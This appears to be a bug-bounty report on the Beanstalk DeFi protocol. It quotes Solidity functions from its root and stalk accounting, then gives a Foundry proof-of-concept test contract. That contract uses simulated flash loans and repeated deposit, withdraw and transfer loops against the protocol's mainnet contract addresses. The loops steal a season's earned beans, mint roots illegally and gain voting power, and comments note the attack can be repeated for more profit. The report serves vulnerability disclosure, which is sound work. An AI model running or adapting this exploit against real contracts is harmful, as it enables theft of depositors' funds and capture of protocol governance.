Report #27979

    function burnStalk(address account, uint256 stalk) internal {
        AppStorage storage s = LibAppStorage.diamondStorage();
        if (stalk == 0) return;

        uint256 roots;
        if(inVestingPeriod()){
            roots = s.s.roots.mulDiv(
                stalk,
                s.s.stalk-s.newEarnedStalk,
                LibPRBMath.Rounding.Up
            );
            // ...
        } else {
            roots = s.s.roots.mulDiv(
            stalk,
            s.s.stalk,
            LibPRBMath.Rounding.Up);
        }

        if (roots > s.a[account].roots) roots = s.a[account].roots; // The Root Cause is here!!!
        // ...
    }

    function inVestingPeriod() internal view returns (bool) {
        AppStorage storage s = LibAppStorage.diamondStorage();
        return block.number - s.season.sunriseBlock <= VESTING_PERIOD;
    }

    function mintStalk(address account, uint256 stalk) internal {
        // ...
        // Calculate the amount of Roots for the given amount of Stalk.
        uint256 roots;
        if (s.s.roots == 0) {
            roots = uint256(stalk.mul(C.getRootsBase()));
        } else {
            roots = s.s.roots.mul(stalk).div(s.s.stalk);
        }
        // ...
    }

 function burnStalk(address account, uint256 stalk) internal {
        AppStorage storage s = LibAppStorage.diamondStorage();
        if (stalk == 0) return;

        uint256 roots;
        // Calculate the amount of Roots for the given amount of Stalk.
        // We round up as it prevents an account having roots but no stalk.

        // if the user withdraws in the vesting period, they forfeit their earned beans for that season
        // this is distributed to the other users.
        if(inVestingPeriod()){
            roots = s.s.roots.mulDiv(
                stalk,
                s.s.stalk-s.newEarnedStalk,
                LibPRBMath.Rounding.Up
            );
            // cast to uint256 to prevent overflow
            uint256 deltaRootsRemoved = uint256(s.a[account].deltaRoots)
                .mul(stalk)
                .div(s.a[account].s.stalk);
            s.a[account].deltaRoots = s.a[account].deltaRoots.sub(deltaRootsRemoved.toUint128());
        } else {
            // we only interested in the inVestingPeriod case
            // ...
        }

        if (roots > s.a[account].roots) roots = s.a[account].roots;
        // ...
 }

     *  Total Roots     User Roots
     * ------------- = ------------
     *  Total Stalk     User Stalk

EarnedBeans = (TotalStalk * userRoots / TotalRoots) - userStalk

    function transferStalk(
        address sender,
        address recipient,
        uint256 stalk
    ) internal {
        // ...
        if(inVestingPeriod()){
            // ...
            roots = stalk == s.a[sender].s.stalk
                ? s.a[sender].roots
                : s.s.roots.sub(1).mul(stalk).div(s.s.stalk - s.newEarnedStalk).add(1); // ((s.roots - 1) * stalk / (s.stalk - s.newEarnedStalk)) + 1
        } else {
            roots = stalk == s.a[sender].s.stalk
            ? s.a[sender].roots
            : s.s.roots.sub(1).mul(stalk).div(s.s.stalk).add(1); // ((s.roots - 1) * stalk / s.stalk) + 1
        }
    }

    function balanceOfStalk(address account) public view returns (uint256) {
        return s.a[account].s.stalk.add(balanceOfEarnedStalk(account));
    }

    function balanceOfEarnedStalk(address account)
        public
        view
        returns (uint256)
    {
        return balanceOfEarnedBeans(account).mul(C.STALK_PER_BEAN);
    }

    function transferStalk(
        address sender,
        address recipient,
        uint256 stalk
    ) internal {
        // ...
        if(inVestingPeriod()){
            // ...
            roots = stalk == s.a[sender].s.stalk
                ? s.a[sender].roots
                : s.s.roots.sub(1).mul(stalk).div(s.s.stalk - s.newEarnedStalk).add(1); // ((s.roots - 1) * stalk / (s.stalk - s.newEarnedStalk)) + 1
        } else {
            roots = stalk == s.a[sender].s.stalk
            ? s.a[sender].roots
            : s.s.roots.sub(1).mul(stalk).div(s.s.stalk).add(1); // ((s.roots - 1) * stalk / s.stalk) + 1
        }
    }

    function inVestingPeriod() internal view returns (bool) {
        AppStorage storage s = LibAppStorage.diamondStorage();
        return (block.number - s.season.sunriseBlock <= VESTING_PERIOD) && s.season.abovePeg;
    }

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.1;

import "forge-std/console.sol";
import {Test} from "forge-std/Test.sol";
import {BeanStalk} from "../src/BeanStalk.sol";
import {ERC20} from "../src/ERC20.sol";

contract MainTest is Test {
    BeanStalk public beanstalk;

    ERC20 public bean;

    address constant BEANSTALK = 0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5;
    address constant BEANERC20 = 0xBEA0000029AD1c77D3d5D23Ba2D8893dB9d1Efab;

    // attacker addresses for the roots stalk inbalance attack
    address constant ATTACKER = 0xd7E167AB2A4bC910619ACB0CC36B7707Ab8816d6;
    address constant ATTACKER2 = 0x4E0251E445c480a66F430536ea04C152d9Cc58aF;
    address constant ATTACKER3 = 0x9a9382efA52345A97424647105Da719AE7131E2e;

    address constant BEAN_FLASHLOANER_SIM = 0xBEA0e11282e2bB5893bEcE110cF199501e872bAd; // Simulate a flash loan cause I'm lazy
    uint256 constant STALK_PER_BEAN = 10000; // 4 decimals
    uint256 constant newEarnedStalk = 16791067962 * STALK_PER_BEAN;

    function setUp() public {
        beanstalk = BeanStalk(BEANSTALK);

        bean = ERC20(BEANERC20);
    }

    function balanceOfStalkNoEarned(address user) public view returns (uint256) {
        return beanstalk.balanceOfStalk(user) - beanstalk.balanceOfEarnedStalk(user);
    }

    function logTotals() public view {
        console.log("totalRoots: %s", beanstalk.totalRoots());
        console.log("totalStalk: %s", beanstalk.totalStalk());
    }

    function logBalances(address user) public view {
        console.log("balanceOfRoots user: %s", beanstalk.balanceOfRoots(user));
        console.log("balanceOfStalkNoEarned user: %s", balanceOfStalkNoEarned(user));
    }

    function balanceOfEarnedBeansInDollars(address user) public view returns (uint256) {
        return beanstalk.balanceOfEarnedBeans(user) / 1e6; // bean has 6 decimals
    }

    function initializeNewSeason() public {
        // just start a new season to make sure we are in the vesting period
        vm.warp(block.timestamp + 3600);
        vm.roll(block.number + 1);

        vm.startPrank(ATTACKER);
        // sunrise
        beanstalk.sunrise();
        vm.stopPrank();
    }

    function inflateTotalStalkAttack(uint256 flashloanedAmount, uint256 loops) public {
        uint256 initialAddress = 10_000;
        uint256 currentAmout = flashloanedAmount;
        int96 stem;

        // the random addresses simulate smart contracts / addresses controled by the attacker
        vm.startPrank(ATTACKER);
        bean.transfer(ATTACKER3, flashloanedAmount);
        vm.stopPrank();

        vm.startPrank(ATTACKER3);
        for (uint i; i < loops; ++i) {
            // attacker deposits
            if (i == 0) bean.approve(BEANSTALK, currentAmout);
            (, , stem) = beanstalk.deposit(BEANERC20, currentAmout, i == 0 ? BeanStalk.From.EXTERNAL : BeanStalk.From.INTERNAL);
            currentAmout = (beanstalk.balanceOfRoots(ATTACKER3) * (beanstalk.totalStalk() - newEarnedStalk)) / beanstalk.totalRoots();
            currentAmout = (currentAmout / STALK_PER_BEAN) - 1; // round down for safety
            beanstalk.withdrawDeposit(BEANERC20, stem, currentAmout, i == loops - 1 ? BeanStalk.To.EXTERNAL : BeanStalk.To.INTERNAL);
        }
        vm.stopPrank();
    }


    function deflateTotalStalkAttack(uint256 loops, int96 stem) public {
        uint256 initialAddress = 10_000;
        uint256 amount = beanstalk.balanceOf(ATTACKER3, beanstalk.getDepositId(BEANERC20, stem));

        vm.startPrank(ATTACKER3);
        beanstalk.withdrawDeposit(BEANERC20, stem, amount, BeanStalk.To.EXTERNAL);
        bean.transfer(ATTACKER, bean.balanceOf(ATTACKER3)); // attacker needs to repay flashloan
        vm.stopPrank();
    }

    function theftOfEarnedBeans(uint256 loops, uint256 depositedAmount, uint256 inflateAttackAmount) public returns (int96 stem) {
        vm.startPrank(ATTACKER);
        bean.approve(BEANSTALK, depositedAmount);
        (, , stem) = beanstalk.deposit(BEANERC20, depositedAmount, BeanStalk.From.EXTERNAL);
        beanstalk.transferDeposit(ATTACKER, ATTACKER2, BEANERC20, stem, depositedAmount);
        vm.stopPrank();

        console.log("----------------- stalk and roots state before inflation of stalk -----------------");
        logTotals();
        inflateTotalStalkAttack(inflateAttackAmount, loops);
        console.log("----------------- stalk and roots state after inflation of stalk -----------------");
        logTotals();

        vm.startPrank(ATTACKER2);
        beanstalk.transferDeposit(ATTACKER2, ATTACKER, BEANERC20, stem, depositedAmount - 1);
        vm.stopPrank();
    }

    function testBug3() public {
        uint256 loops = 75;
        uint256 attackerInitialCapital = 100_000e6; // Simulate the attackers initial capital, this is required in case bug 1 is not useable
        uint256 inflateAttackAmount = 6_500_000e6; // flashed loan amount for the inflate totalStalk/totalRoots ratio

        initializeNewSeason(); // this has nothing to do with the attack, just here to make sure we are in the vesting period in the test

        // console.log("----------------- stalk and roots amount before the attack -----------------");
        // logTotals();

        // simulate a flash loan as I'm too lazy to actually call a flash loan
        vm.startPrank(BEAN_FLASHLOANER_SIM);
        bean.transfer(ATTACKER, attackerInitialCapital + inflateAttackAmount);
        vm.stopPrank();

        int96 stem = theftOfEarnedBeans(loops, attackerInitialCapital, inflateAttackAmount);
        console.log("----------------- attackers profit -----------------");
        console.log("balanceOfEarnedBeansInDollars ATTACKER2: %s", balanceOfEarnedBeansInDollars(ATTACKER2)); // capable of stealing all of the current season earned beans in a single transaction.

        console.log("----------------- attackers additional voting power -----------------");
        console.log("attacker voting power (balanceOfStalk) ATTACKER2: %s", beanstalk.balanceOfStalk(ATTACKER2));

        deflateTotalStalkAttack(loops, stem);

        vm.startPrank(ATTACKER);
        // attacker can't withdraw deposit without bug 1
        // to withdraw, the attacker will need Attacker2 to transfer their deposit back with all of the needed roots.
        // beanstalk.withdrawDeposit(BEANERC20, stem, attackerInitialCapital - 1, BeanStalk.To.EXTERNAL);

        // attacker returns flashloan
        bean.transfer(BEAN_FLASHLOANER_SIM, inflateAttackAmount);
        vm.stopPrank();

        // console.log("----------------- stalk and roots amount after the attack -----------------");
        // logTotals();
    }

    function testBug3WithBug1() public {
        uint256 loops = 75;
        uint256 depositedAmount = 6_500_000e6; // flashed loan amount for depositing and transferring to receive earned beans
        uint256 inflateAttackAmount = 6_500_000e6; // flashed loan amount for the inflate totalStalk/totalRoots ratio

        initializeNewSeason(); // this has nothing to do with the attack, just here to make sure we are in the vesting period in the test

        // variables to show change and theft in the protocol
        uint256 totalStalkBefore = beanstalk.totalStalk();
        uint256 totalRootsBefore = beanstalk.totalRoots();

        // console.log("----------------- stalk and roots amount before the attack -----------------");
        // logTotals();

        // simulate a flash loan as I'm too lazy to actually call a flash loan
        vm.startPrank(BEAN_FLASHLOANER_SIM);
        bean.transfer(ATTACKER, depositedAmount + inflateAttackAmount);
        vm.stopPrank();

        int96 stem = theftOfEarnedBeans(loops, depositedAmount, inflateAttackAmount);
        console.log("----------------- attackers profit -----------------");
        console.log("balanceOfEarnedBeansInDollars ATTACKER2: %s", balanceOfEarnedBeansInDollars(ATTACKER2)); // capable of stealing all of the current season earned beans in a single transaction.

        console.log("----------------- attackers additional voting power -----------------");
        console.log("attacker voting power (balanceOfStalk) ATTACKER2: %s", beanstalk.balanceOfStalk(ATTACKER2));

        deflateTotalStalkAttack(loops, stem);

        vm.startPrank(ATTACKER);
        // attacker withdraws deposit, this is possible via bug 1
        beanstalk.withdrawDeposit(BEANERC20, stem, depositedAmount - 1, BeanStalk.To.EXTERNAL);

        // attacker returns flashloan
        bean.transfer(BEAN_FLASHLOANER_SIM, inflateAttackAmount + depositedAmount);
        vm.stopPrank();

        // console.log("----------------- stalk and roots amount after the attack -----------------");
        // logTotals();

        console.log("----------------- show change in totalStalk and change in totalRoots -----------------");
        console.log("change in total stalk: %s", beanstalk.totalStalk() - totalStalkBefore); // the 10000 stalk here are the 1 stalk remained deposited for attacker2
        console.log("change in total roots: %s", beanstalk.totalRoots() - totalRootsBefore); // this is the amount of illegaly minted roots

        // the attacker can now repeat the whole process again for more profit if needed and for more free roots and earned beans!
    }

    function testBug4() public {
        uint256 accountCapital = 100_000e6;
        uint256 amountToTransfer = accountCapital - 100e6;
        int96 stem;

        initializeNewSeason(); // this has nothing to do with the attack, just here to make sure we are in the vesting period in the test

        // Attacker needs some initial capital
        vm.startPrank(BEAN_FLASHLOANER_SIM);
        bean.transfer(ATTACKER, accountCapital);
        bean.transfer(ATTACKER2, 1); // the attacker needs `depositAmount > 0` and 1 wei is enough
        vm.stopPrank();

        // Attacker2 initial 1 wei so when transferring to Attacker1 they will have a 1 wei of deposit remaining
        vm.startPrank(ATTACKER2);
        bean.approve(BEANSTALK, 1);
        (, , stem) = beanstalk.deposit(BEANERC20, 1, BeanStalk.From.EXTERNAL);
        vm.stopPrank();

        vm.startPrank(ATTACKER);
        bean.approve(BEANSTALK, accountCapital);
        (, , stem) = beanstalk.deposit(BEANERC20, accountCapital, BeanStalk.From.EXTERNAL);
        beanstalk.transferDeposit(ATTACKER, ATTACKER2, BEANERC20, stem, amountToTransfer); // transfer almost all of the roots
        vm.stopPrank();

        // wait for the vesting period to end
        vm.warp(block.timestamp + 132);
        vm.roll(block.number + 11);

        // transfer back to Attacker less roots than they sent to Attacker2 during vesting period
        vm.startPrank(ATTACKER2);
        beanstalk.transferDeposit(ATTACKER2, ATTACKER, BEANERC20, stem, amountToTransfer); // transfer back now that less roots are needed for the same stalk amount
        vm.stopPrank();

        // attacker can't withdraw deposit without bug 1
        // to withdraw, the attacker will need Attacker2 to transfer their deposit back with all of the needed roots.
        // vm.startPrank(ATTACKER);
        // beanstalk.withdrawDeposit(BEANERC20, stem, accountCapital, BeanStalk.To.EXTERNAL);
        // vm.stopPrank();

        console.log("----------------- attackers profit -----------------");
        console.log("balanceOfEarnedBeansInDollars ATTACKER2: %s", balanceOfEarnedBeansInDollars(ATTACKER2)); // capable of stealing all of the current season earned beans in a single transaction.

        console.log("----------------- attackers additional voting power -----------------");
        console.log("attacker additional voting power (balanceOfStalk) ATTACKER2: %s", beanstalk.balanceOfStalk(ATTACKER2));

        console.log("----------------- attacker original voting power remains -----------------");
        console.log("attacker original voting power (balanceOfStalk) ATTACKER: %s", beanstalk.balanceOfStalk(ATTACKER));


        // the attacker can now repeat the whole process again once every season, over time it will inflate and the attacker will posses a huge amount of roots
    }

    function testBug4WithBug1() public {
        uint256 accountCapital = 100_000e6;
        uint256 amountToTransfer = accountCapital - 100e6;
        int96 stem;

        initializeNewSeason(); // this has nothing to do with the attack, just here to make sure we are in the vesting period in the test

        // Attacker needs some initial capital
        vm.startPrank(BEAN_FLASHLOANER_SIM);
        bean.transfer(ATTACKER, accountCapital);
        bean.transfer(ATTACKER2, 1); // the attacker needs `depositAmount > 0` and 1 wei is enough
        vm.stopPrank();

        // Attacker2 initial 1 wei so when transferring to Attacker1 they will have a 1 wei of deposit remaining
        vm.startPrank(ATTACKER2);
        bean.approve(BEANSTALK, 1);
        (, , stem) = beanstalk.deposit(BEANERC20, 1, BeanStalk.From.EXTERNAL);
        vm.stopPrank();

        // variables to show change and theft in the protocol
        uint256 totalStalkBefore = beanstalk.totalStalk();
        uint256 totalRootsBefore = beanstalk.totalRoots();

        vm.startPrank(ATTACKER);
        bean.approve(BEANSTALK, accountCapital);
        (, , stem) = beanstalk.deposit(BEANERC20, accountCapital, BeanStalk.From.EXTERNAL);
        beanstalk.transferDeposit(ATTACKER, ATTACKER2, BEANERC20, stem, amountToTransfer); // transfer almost all of the roots
        vm.stopPrank();

        // wait for the vesting period to end
        vm.warp(block.timestamp + 132);
        vm.roll(block.number + 11);

        // transfer back to Attacker less roots than they sent to Attacker2 during vesting period
        vm.startPrank(ATTACKER2);
        beanstalk.transferDeposit(ATTACKER2, ATTACKER, BEANERC20, stem, amountToTransfer); // transfer back now that less roots are needed for the same stalk amount
        vm.stopPrank();

        // withdraw the deposit, this is possible via bug 1
        vm.startPrank(ATTACKER);
        beanstalk.withdrawDeposit(BEANERC20, stem, accountCapital, BeanStalk.To.EXTERNAL);
        vm.stopPrank();

        console.log("----------------- show change in totalStalk and change in totalRoots -----------------");
        console.log("change in total stalk: %s", beanstalk.totalStalk() - totalStalkBefore); // this is zero!
        console.log("change in total roots: %s", beanstalk.totalRoots() - totalRootsBefore); // this is the amount of illegaly minted roots

        console.log("----------------- attackers profit -----------------");
        console.log("balanceOfEarnedBeansInDollars ATTACKER2: %s", balanceOfEarnedBeansInDollars(ATTACKER2)); // capable of stealing all of the current season earned beans in a single transaction.

        console.log("----------------- attackers additional voting power -----------------");
        console.log("attacker voting power (balanceOfStalk) ATTACKER2: %s", beanstalk.balanceOfStalk(ATTACKER2));


        // the attacker can now repeat the whole process again once every season, over time it will inflate and the attacker will posses a huge amount of roots
    }
}